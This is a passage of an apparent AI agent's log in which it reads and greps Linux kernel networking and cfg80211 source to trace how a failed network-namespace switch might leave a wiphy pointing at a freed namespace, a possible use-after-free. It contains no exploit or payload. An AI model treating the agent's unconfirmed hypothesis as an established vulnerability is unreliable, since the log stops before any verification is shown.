net/core/dev.c=13211=static void __net_exit default_device_exit_net(struct net *net)
--
net/core/dev.c-13240-
net/core/dev.c:13241: err = dev_change_net_namespace(dev, &init_net, fb_name);
net/core/dev.c-13242- if (err) {
]
|
| 76/2 |
2026/08/26 10:03 |
llm |
expert |
0m
Model:
Tokens:
input: 47309
output: 37
thoughts: 24
Thoughts: Here's my take on the `__dev_change_net_namespace` function in `net/core/dev.c`:
**Diving into Network Namespace Changes**
Okay, time to dissect `__dev_change_net_namespace`. I'm going to start by looking at it in `net/core/dev.c`. This function is fundamental, right? It's the core of how we move a network device between network namespaces. I need to understand this deeply to grasp the implications for containerization, virtualization, and basically any modern networking setup that relies on isolation. I bet it touches on a bunch of critical areas: device pointers, reference counting, resource management, and potentially some subtle locking issues. I expect to see some interaction with the device's private data, maybe some reconfiguration or reset operations to ensure the device is correctly integrated into the new namespace. I'm especially curious about how it handles things like bridging and VLANs - those can get complex when you start moving devices around. This is where the magic happens, or where things can go horribly wrong, so I'll approach this with a critical eye. Let's dig in and see what the function actually does, step by step.
|
| 77/2 |
2026/08/26 10:03 |
tool |
read-file |
0m
Args: map[File:net/core/dev.c FirstLine:12702 LineCount:40]
Results: map[Contents:12702: int __dev_change_net_namespace(struct net_device *dev, struct net *net,
12703: const char *pat, int new_ifindex,
12704: struct netlink_ext_ack *extack)
12705: {
12706: struct netdev_name_node *name_node;
12707: struct net *net_old = dev_net(dev);
12708: char new_name[IFNAMSIZ] = {};
12709: int err, new_nsid;
12710:
12711: ASSERT_RTNL();
12712:
12713: /* Don't allow namespace local devices to be moved. */
12714: err = -EINVAL;
12715: if (dev->netns_immutable) {
12716: NL_SET_ERR_MSG(extack, "The interface netns is immutable");
12717: goto out;
12718: }
12719:
12720: /* Ensure the device has been registered */
12721: if (dev->reg_state != NETREG_REGISTERED) {
12722: NL_SET_ERR_MSG(extack, "The interface isn't registered");
12723: goto out;
12724: }
12725:
12726: /* Get out if there is nothing todo */
12727: err = 0;
12728: if (net_eq(net_old, net))
12729: goto out;
12730:
12731: /* Pick the destination device name, and ensure
12732: * we can use it in the destination network namespace.
12733: */
12734: err = -EEXIST;
12735: if (netdev_name_in_use(net, dev->name)) {
12736: /* We get here if we can't use the current device name */
12737: if (!pat) {
12738: NL_SET_ERR_MSG(extack,
12739: "An interface with the same name exists in the target netns");
12740: goto out;
12741: }
]
|
| 78/2 |
2026/08/26 10:03 |
llm |
expert |
0m
Model:
Tokens:
input: 48274
output: 35
thoughts: 27
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Network Device Naming: Digging Deeper**
Okay, so I'm looking at this `netdev_name_in_use` function, and it's hitting me... I know it's supposed to detect if a given name is already assigned to a network device. But a question sparks in my mind.
Does that function just look at the primary name, or does it also account for alternative names or aliases? It needs to be precise when it checks name conflicts. I'm wondering if a secondary name assignment would be detected by this routine. This seems like something I should verify, or at least remember to check if I am working in the kernel space. If it doesn't account for altnames, we could have a subtle and potentially nasty naming collision bug on our hands. I need to refresh my memory on the data structures it touches and how it iterates (or doesn't iterate) through the device name lists.
|
| 79/2 |
2026/08/26 10:03 |
tool |
grepper |
0m
Args: map[Expression:netdev_name_in_use PathPrefix:net/core/dev.c]
Results: map[Output:net/core/dev.c=326=static struct netdev_name_node *netdev_name_node_lookup_rcu(struct net *net,
--
net/core/dev.c-337-
net/core/dev.c:338:bool netdev_name_in_use(struct net *net, const char *name)
net/core/dev.c-339-{
--
net/core/dev.c-341-}
net/core/dev.c:342:EXPORT_SYMBOL(netdev_name_in_use);
net/core/dev.c-343-
--
net/core/dev.c=1438=static int dev_prep_valid_name(struct net *net, struct net_device *dev,
--
net/core/dev.c-1447-
net/core/dev.c:1448: if (netdev_name_in_use(net, want_name))
net/core/dev.c-1449- return -dup_errno;
--
net/core/dev.c=12702=int __dev_change_net_namespace(struct net_device *dev, struct net *net,
--
net/core/dev.c-12734- err = -EEXIST;
net/core/dev.c:12735: if (netdev_name_in_use(net, dev->name)) {
net/core/dev.c-12736- /* We get here if we can't use the current device name */
--
net/core/dev.c-12752- netdev_for_each_altname(dev, name_node) {
net/core/dev.c:12753: if (netdev_name_in_use(net, name_node->name)) {
net/core/dev.c-12754- NL_SET_ERR_MSG_FMT(extack,
--
net/core/dev.c=13211=static void __net_exit default_device_exit_net(struct net *net)
--
net/core/dev.c-13233- snprintf(fb_name, IFNAMSIZ, "dev%d", dev->ifindex);
net/core/dev.c:13234: if (netdev_name_in_use(&init_net, fb_name))
net/core/dev.c-13235- snprintf(fb_name, IFNAMSIZ, "dev%%d");
--
net/core/dev.c-13237- netdev_for_each_altname_safe(dev, name_node, tmp)
net/core/dev.c:13238: if (netdev_name_in_use(&init_net, name_node->name))
net/core/dev.c-13239- __netdev_name_node_alt_destroy(name_node);
]
|
| 80/2 |
2026/08/26 10:03 |
llm |
expert |
0m
Model:
Tokens:
input: 49300
output: 35
thoughts: 178
Thoughts: **My Analysis of Network Namespace Changes**
Okay, so I'm diving into this `__dev_change_net_namespace` function, and my initial thought is, "Aha! I see how the check is implemented!" It appears the code iterates through alternative names using `netdev_for_each_altname`. Inside this loop, it calls `netdev_name_in_use` to confirm that the proposed new alternate name doesn't already exist within the target network namespace, `net`. If a name conflict occurs, the Extended ACKnowledgement (extack) gets populated with a user-friendly error message detailing the offending name, and the function rightfully returns `-EEXIST`. So, I understand now. `dev_change_net_namespace` will fail with an `-EEXIST` error if there's a conflict in alternative names, which is exactly what I would expect.
My next line of thought is to ascertain what happens upstream. Given this potential failure scenario, I need to understand the implications. I'm keen to see precisely how the `cfg80211_switch_netns` function handles the situation when `dev_change_net_namespace` returns `-EEXIST`. This failure might have cascading effects, so I need to trace the control flow to ensure proper error handling and recovery. My goal is to understand the robustness of this design.
|
| 81/2 |
2026/08/26 10:03 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:175 LineCount:20]
Results: map[Contents: 175: if (err) {
176: /* failed -- clean up to old netns */
177: net = wiphy_net(&rdev->wiphy);
178:
179: list_for_each_entry_continue_reverse(wdev,
180: &rdev->wiphy.wdev_list,
181: list) {
182: if (!wdev->netdev)
183: continue;
184: wdev->netdev->netns_immutable = false;
185: err = dev_change_net_namespace(wdev->netdev, net,
186: "wlan%d");
187: WARN_ON(err);
188: wdev->netdev->netns_immutable = true;
189: }
190:
191: return err;
192: }
193:
194: guard(wiphy)(&rdev->wiphy);
]
|
| 82/2 |
2026/08/26 10:03 |
llm |
expert |
0m
Model:
Tokens:
input: 50097
output: 28
thoughts: 669
Thoughts: **Analyzing a Potential Use-After-Free in cfg80211 Netns Handling**
Okay, so I'm digging into this lockdep warning triggered during network namespace cleanup, and I think I've spotted a significant vulnerability. My initial observation is that when `dev_change_net_namespace` fails within the `cfg80211_switch_netns` function, it returns an error (-EEXIST) which can happen, and crucially, *leaves the Wi-Fi PHY (wiphy) in the old network namespace*. Now, the problem lies in the design of the `cfg80211_pernet_exit` function. It seems to iterate through radio devices and attempts to switch their netns to `init_net` using `cfg80211_switch_netns`. If *that* fails, it only triggers a `WARN_ON`, and the wiphy stays put in the dying netns.
Following the sequence, after `cfg80211_pernet_exit` completes and the network namespace is being cleaned up, `cleanup_net` kicks in, which calls `ops_exit_list` leading to `default_device_exit_batch`. This unregisters all netdevices within that dying netns β including devices like `wlan0` and `wlan_test1`. Here's the key: when a device is unregistered, the `NETDEV_UNREGISTER` notifier is triggered. `cfg80211_netdev_notifier_call` takes the wiphy's mutex and proceeds to unregister the wireless device (`wdev`). Afterward, `unregister_netdevice_many` calls `ndo_uninit`, which in turn, calls `ieee80211_uninit`, and that's where this lockdep warning pops up.
Now, my mind starts racing. What happens if `cfg80211_switch_netns` fails? The wiphy remains in the *dying* netns. But it's supposed to be in `init_net`. The wiphy object itself isn't tied to the netns lifetime, but its `wiphy->wiphy_net` *does* point to the netns. This is a use-after-free scenario waiting to happen! If `wiphy_net` points to a freed network namespace... that's a serious problem.
I have to verify this. The wiphy *is* still registered in `cfg80211` even after the netns is destroyed because the `cfg80211_pernet_exit` only tries to move the wiphy, but does not unregister it. The wiphy remains registered. But the `wiphy_net` pointer...it points to a destroyed netns. This looks like a definite memory safety issue I need to validate thoroughly.
|
| 83/2 |
2026/08/26 10:03 |
tool |
grepper |
0m
Args: map[Expression:wiphy_net PathPrefix:net/wireless/]
Results: map[Output:net/wireless/core.c=156=int cfg80211_switch_netns(struct cfg80211_registered_device *rdev,
--
net/wireless/core.c-176- /* failed -- clean up to old netns */
net/wireless/core.c:177: net = wiphy_net(&rdev->wiphy);
net/wireless/core.c-178-
--
net/wireless/core.c-203-
net/wireless/core.c:204: wiphy_net_set(&rdev->wiphy, net);
net/wireless/core.c-205-
--
net/wireless/core.c=549=struct wiphy *wiphy_new_nm(const struct cfg80211_ops *ops, int sizeof_priv,
--
net/wireless/core.c-662-
net/wireless/core.c:663: wiphy_net_set(&rdev->wiphy, &init_net);
net/wireless/core.c-664-
--
net/wireless/core.c=1864=static void __net_exit cfg80211_pernet_exit(struct net *net)
--
net/wireless/core.c-1869- for_each_rdev(rdev) {
net/wireless/core.c:1870: if (net_eq(wiphy_net(&rdev->wiphy), net))
net/wireless/core.c-1871- WARN_ON(cfg80211_switch_netns(rdev, &init_net));
--
net/wireless/nl80211.c=68=__cfg80211_wdev_from_attrs(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-112-
net/wireless/nl80211.c:113: if (wiphy_net(&rdev->wiphy) != netns)
net/wireless/nl80211.c-114- continue;
--
net/wireless/nl80211.c=141=__cfg80211_rdev_from_attrs(struct net *netns, struct nlattr **attrs)
--
net/wireless/nl80211.c-206-
net/wireless/nl80211.c:207: if (netns != wiphy_net(&rdev->wiphy))
net/wireless/nl80211.c-208- return ERR_PTR(-ENODEV);
--
net/wireless/nl80211.c=1252=static int nl80211_prepare_wdev_dump(struct netlink_callback *cb,
--
net/wireless/nl80211.c-1309- */
net/wireless/nl80211.c:1310: if (!net_eq(wiphy_net(wiphy), sock_net(cb->skb->sk))) {
net/wireless/nl80211.c-1311- rtnl_unlock();
--
net/wireless/nl80211.c=3770=static int nl80211_dump_wiphy(struct sk_buff *skb, struct netlink_callback *cb)
--
net/wireless/nl80211.c-3793- for_each_rdev(rdev) {
net/wireless/nl80211.c:3794: if (!net_eq(wiphy_net(&rdev->wiphy), sock_net(skb->sk)))
net/wireless/nl80211.c-3795- continue;
--
net/wireless/nl80211.c=4798=static int nl80211_dump_interface(struct sk_buff *skb, struct netlink_callback *cb)
--
net/wireless/nl80211.c-4833- for_each_rdev(rdev) {
net/wireless/nl80211.c:4834: if (!net_eq(wiphy_net(&rdev->wiphy), sock_net(skb->sk)))
net/wireless/nl80211.c-4835- continue;
--
net/wireless/nl80211.c=6433=static int nl80211_parse_mbssid_config(struct wiphy *wiphy,
--
net/wireless/nl80211.c-6477- struct net_device *tx_netdev =
net/wireless/nl80211.c:6478: dev_get_by_index(wiphy_net(wiphy), tx_ifindex);
net/wireless/nl80211.c-6479-
--
net/wireless/nl80211.c=7104=static void nl80211_send_ap_started(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-7132-
net/wireless/nl80211.c:7133: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(wiphy), msg, 0,
net/wireless/nl80211.c-7134- NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=13820=void __cfg80211_send_event_skb(struct sk_buff *skb, gfp_t gfp)
--
net/wireless/nl80211.c-13834- if (nlhdr->nlmsg_pid) {
net/wireless/nl80211.c:13835: genlmsg_unicast(wiphy_net(&rdev->wiphy), skb,
net/wireless/nl80211.c-13836- nlhdr->nlmsg_pid);
--
net/wireless/nl80211.c-13840-
net/wireless/nl80211.c:13841: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy),
net/wireless/nl80211.c-13842- skb, 0, mcgrp, gfp);
--
net/wireless/nl80211.c=13883=static int nl80211_testmode_dump(struct sk_buff *skb,
--
net/wireless/nl80211.c-13912- */
net/wireless/nl80211.c:13913: if (!net_eq(wiphy_net(&rdev->wiphy), sock_net(skb->sk))) {
net/wireless/nl80211.c-13914- err = -ENODEV;
--
net/wireless/nl80211.c=14321=static int nl80211_disconnect(struct sk_buff *skb, struct genl_info *info)
--
net/wireless/nl80211.c-14343-
net/wireless/nl80211.c:14344:static int nl80211_wiphy_netns(struct sk_buff *skb, struct genl_info *info)
net/wireless/nl80211.c-14345-{
--
net/wireless/nl80211.c-14380- /* check if anything to do */
net/wireless/nl80211.c:14381: if (!net_eq(wiphy_net(&rdev->wiphy), net))
net/wireless/nl80211.c-14382- err = cfg80211_switch_netns(rdev, net);
--
net/wireless/nl80211.c=15637=static int nl80211_parse_wowlan_tcp(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-15728- /* allocate a socket and port for it and use it */
net/wireless/nl80211.c:15729: err = __sock_create(wiphy_net(&rdev->wiphy), PF_INET, SOCK_STREAM,
net/wireless/nl80211.c-15730- IPPROTO_TCP, &cfg->sock, 1);
--
net/wireless/nl80211.c=17131=void cfg80211_nan_match(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-17200- if (!wdev->owner_nlportid)
net/wireless/nl80211.c:17201: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy),
net/wireless/nl80211.c-17202- msg, 0, NL80211_MCGRP_NAN, gfp);
net/wireless/nl80211.c-17203- else
net/wireless/nl80211.c:17204: genlmsg_unicast(wiphy_net(&rdev->wiphy), msg,
net/wireless/nl80211.c-17205- wdev->owner_nlportid);
--
net/wireless/nl80211.c=17214=void cfg80211_nan_func_terminated(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-17263- if (!wdev->owner_nlportid)
net/wireless/nl80211.c:17264: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy),
net/wireless/nl80211.c-17265- msg, 0, NL80211_MCGRP_NAN, gfp);
net/wireless/nl80211.c-17266- else
net/wireless/nl80211.c:17267: genlmsg_unicast(wiphy_net(&rdev->wiphy), msg,
net/wireless/nl80211.c-17268- wdev->owner_nlportid);
--
net/wireless/nl80211.c=17277=void cfg80211_nan_sched_update_done(struct wireless_dev *wdev, bool success,
--
net/wireless/nl80211.c-17312-
net/wireless/nl80211.c:17313: genlmsg_unicast(wiphy_net(wiphy), msg, wdev->owner_nlportid);
net/wireless/nl80211.c-17314-
--
net/wireless/nl80211.c=17954=static int nl80211_prepare_vendor_dump(struct sk_buff *skb,
--
net/wireless/nl80211.c-17979- */
net/wireless/nl80211.c:17980: if (!net_eq(wiphy_net(wiphy), sock_net(skb->sk)))
net/wireless/nl80211.c-17981- return -ENODEV;
--
net/wireless/nl80211.c=19733=static const struct genl_small_ops nl80211_small_ops[] = {
--
net/wireless/nl80211.c-20053- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
net/wireless/nl80211.c:20054: .doit = nl80211_wiphy_netns,
net/wireless/nl80211.c-20055- .flags = GENL_UNS_ADMIN_PERM,
--
net/wireless/nl80211.c=20633=void nl80211_notify_wiphy(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-20650-
net/wireless/nl80211.c:20651: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-20652- NL80211_MCGRP_CONFIG, GFP_KERNEL);
--
net/wireless/nl80211.c=20655=void nl80211_notify_iface(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-20669-
net/wireless/nl80211.c:20670: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-20671- NL80211_MCGRP_CONFIG, GFP_KERNEL);
--
net/wireless/nl80211.c=20795=void nl80211_send_scan_start(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-20809-
net/wireless/nl80211.c:20810: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-20811- NL80211_MCGRP_SCAN, GFP_KERNEL);
--
net/wireless/nl80211.c=20834=void nl80211_send_scan_msg(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-20839-
net/wireless/nl80211.c:20840: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-20841- NL80211_MCGRP_SCAN, GFP_KERNEL);
--
net/wireless/nl80211.c=20844=void nl80211_send_sched_scan(struct cfg80211_sched_scan_request *req, u32 cmd)
--
net/wireless/nl80211.c-20856-
net/wireless/nl80211.c:20857: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(req->wiphy), msg, 0,
net/wireless/nl80211.c-20858- NL80211_MCGRP_SCAN, GFP_KERNEL);
--
net/wireless/nl80211.c=20950=static void nl80211_send_mlme_event(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-20994-
net/wireless/nl80211.c:20995: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-20996- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21101=static void nl80211_send_mlme_timeout(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-21125-
net/wireless/nl80211.c:21126: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21127- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21150=void nl80211_send_connect_result(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-21256-
net/wireless/nl80211.c:21257: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21258- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21265=void nl80211_send_roamed(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-21360-
net/wireless/nl80211.c:21361: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21362- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21369=void nl80211_send_port_authorized(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-21396-
net/wireless/nl80211.c:21397: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21398- NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=21405=void nl80211_send_disconnected(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-21432-
net/wireless/nl80211.c:21433: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21434- NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=21441=void cfg80211_links_removed(struct net_device *dev, u16 link_mask)
--
net/wireless/nl80211.c-21501-
net/wireless/nl80211.c:21502: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21503- NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=21528=void nl80211_send_ibss_bssid(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-21551-
net/wireless/nl80211.c:21552: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21553- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21560=void cfg80211_notify_new_peer_candidate(struct net_device *dev, const u8 *addr,
--
net/wireless/nl80211.c-21594-
net/wireless/nl80211.c:21595: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21596- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21604=void nl80211_michael_mic_failure(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-21632-
net/wireless/nl80211.c:21633: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21634- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21695=static void nl80211_send_remain_on_chan_event(
--
net/wireless/nl80211.c-21731-
net/wireless/nl80211.c:21732: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21733- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21740=void cfg80211_assoc_comeback(struct net_device *netdev,
--
net/wireless/nl80211.c-21768-
net/wireless/nl80211.c:21769: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21770- NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=21818=void cfg80211_new_sta(struct wireless_dev *wdev, const u8 *mac_addr,
--
net/wireless/nl80211.c-21836-
net/wireless/nl80211.c:21837: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21838- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21842=void cfg80211_del_sta_sinfo(struct wireless_dev *wdev, const u8 *mac_addr,
--
net/wireless/nl80211.c-21866-
net/wireless/nl80211.c:21867: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21868- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21872=void cfg80211_conn_failed(struct net_device *dev, const u8 *mac_addr,
--
net/wireless/nl80211.c-21897-
net/wireless/nl80211.c:21898: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-21899- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=21907=static bool __nl80211_unexpected_frame(struct net_device *dev, u8 cmd,
--
net/wireless/nl80211.c-21936- genlmsg_end(msg, hdr);
net/wireless/nl80211.c:21937: genlmsg_unicast(wiphy_net(&rdev->wiphy), msg, nlportid);
net/wireless/nl80211.c-21938- return true;
--
net/wireless/nl80211.c=21988=int nl80211_send_mgmt(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-22031-
net/wireless/nl80211.c:22032: return genlmsg_unicast(wiphy_net(&rdev->wiphy), msg, nlportid);
net/wireless/nl80211.c-22033-
--
net/wireless/nl80211.c=22039=static void nl80211_frame_tx_status(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-22088-
net/wireless/nl80211.c:22089: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22090- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22120=static int __nl80211_rx_control_port(struct net_device *dev,
--
net/wireless/nl80211.c-22168-
net/wireless/nl80211.c:22169: return genlmsg_unicast(wiphy_net(&rdev->wiphy), msg, nlportid);
net/wireless/nl80211.c-22170-
--
net/wireless/nl80211.c=22227=static void cfg80211_send_cqm(struct sk_buff *msg, gfp_t gfp)
--
net/wireless/nl80211.c-22236-
net/wireless/nl80211.c:22237: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22238- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22373=static void nl80211_gtk_rekey_notify(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-22407-
net/wireless/nl80211.c:22408: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22409- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22429=nl80211_pmksa_candidate_notify(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-22464-
net/wireless/nl80211.c:22465: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22466- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22485=static void nl80211_ch_switch_notify(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-22526-
net/wireless/nl80211.c:22527: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22528- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22579=void cfg80211_incumbent_signal_notify(struct wiphy *wiphy,
--
net/wireless/nl80211.c-22609-
net/wireless/nl80211.c:22610: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22611- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22640=int cfg80211_bss_color_notify(struct net_device *dev,
--
net/wireless/nl80211.c-22679-
net/wireless/nl80211.c:22680: return genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy),
net/wireless/nl80211.c-22681- msg, 0, NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=22690=nl80211_radar_notify(struct cfg80211_registered_device *rdev,
--
net/wireless/nl80211.c-22735-
net/wireless/nl80211.c:22736: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22737- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22744=void cfg80211_sta_opmode_change_notify(struct net_device *dev, const u8 *mac,
--
net/wireless/nl80211.c-22788-
net/wireless/nl80211.c:22789: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22790- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22799=void cfg80211_probe_status(struct net_device *dev, const u8 *peer, u64 cookie,
--
net/wireless/nl80211.c-22838-
net/wireless/nl80211.c:22839: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-22840- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=22848=void cfg80211_report_obss_beacon_khz(struct wiphy *wiphy, const u8 *frame,
--
net/wireless/nl80211.c-22882-
net/wireless/nl80211.c:22883: genlmsg_unicast(wiphy_net(&rdev->wiphy), msg, reg->nlportid);
net/wireless/nl80211.c-22884- }
--
net/wireless/nl80211.c=22954=void cfg80211_report_wowlan_wakeup(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-23063-
net/wireless/nl80211.c:23064: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-23065- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=23074=void cfg80211_tdls_oper_request(struct net_device *dev, const u8 *peer,
--
net/wireless/nl80211.c-23105-
net/wireless/nl80211.c:23106: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-23107- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=23182=void cfg80211_ft_event(struct net_device *netdev,
--
net/wireless/nl80211.c-23218-
net/wireless/nl80211.c:23219: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-23220- NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=23227=void cfg80211_crit_proto_stopped(struct wireless_dev *wdev, gfp_t gfp)
--
net/wireless/nl80211.c-23255-
net/wireless/nl80211.c:23256: genlmsg_unicast(wiphy_net(&rdev->wiphy), msg, nlportid);
net/wireless/nl80211.c-23257- return;
--
net/wireless/nl80211.c=23264=void nl80211_send_ap_stopped(struct wireless_dev *wdev, unsigned int link_id)
--
net/wireless/nl80211.c-23288-
net/wireless/nl80211.c:23289: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(wiphy), msg, 0,
net/wireless/nl80211.c-23290- NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=23296=int cfg80211_external_auth_request(struct net_device *dev,
--
net/wireless/nl80211.c-23345- genlmsg_end(msg, hdr);
net/wireless/nl80211.c:23346: genlmsg_unicast(wiphy_net(&rdev->wiphy), msg,
net/wireless/nl80211.c-23347- wdev->conn_owner_nlportid);
--
net/wireless/nl80211.c=23356=void cfg80211_update_owe_info_event(struct net_device *netdev,
--
net/wireless/nl80211.c-23396-
net/wireless/nl80211.c:23397: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-23398- NL80211_MCGRP_MLME, gfp);
--
net/wireless/nl80211.c=23421=void cfg80211_epcs_changed(struct net_device *netdev, bool enabled)
--
net/wireless/nl80211.c-23444- genlmsg_end(msg, hdr);
net/wireless/nl80211.c:23445: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(&rdev->wiphy), msg, 0,
net/wireless/nl80211.c-23446- NL80211_MCGRP_MLME, GFP_KERNEL);
--
net/wireless/nl80211.c=23454=void cfg80211_next_nan_dw_notif(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-23483-
net/wireless/nl80211.c:23484: genlmsg_unicast(wiphy_net(wiphy), msg, wdev->owner_nlportid);
net/wireless/nl80211.c-23485-
--
net/wireless/nl80211.c=23493=void cfg80211_nan_cluster_joined(struct wireless_dev *wdev,
--
net/wireless/nl80211.c-23523- if (!wdev->owner_nlportid)
net/wireless/nl80211.c:23524: genlmsg_multicast_netns(&nl80211_fam, wiphy_net(wiphy),
net/wireless/nl80211.c-23525- msg, 0, NL80211_MCGRP_NAN, gfp);
net/wireless/nl80211.c-23526- else
net/wireless/nl80211.c:23527: genlmsg_unicast(wiphy_net(wiphy), msg,
net/wireless/nl80211.c-23528- wdev->owner_nlportid);
--
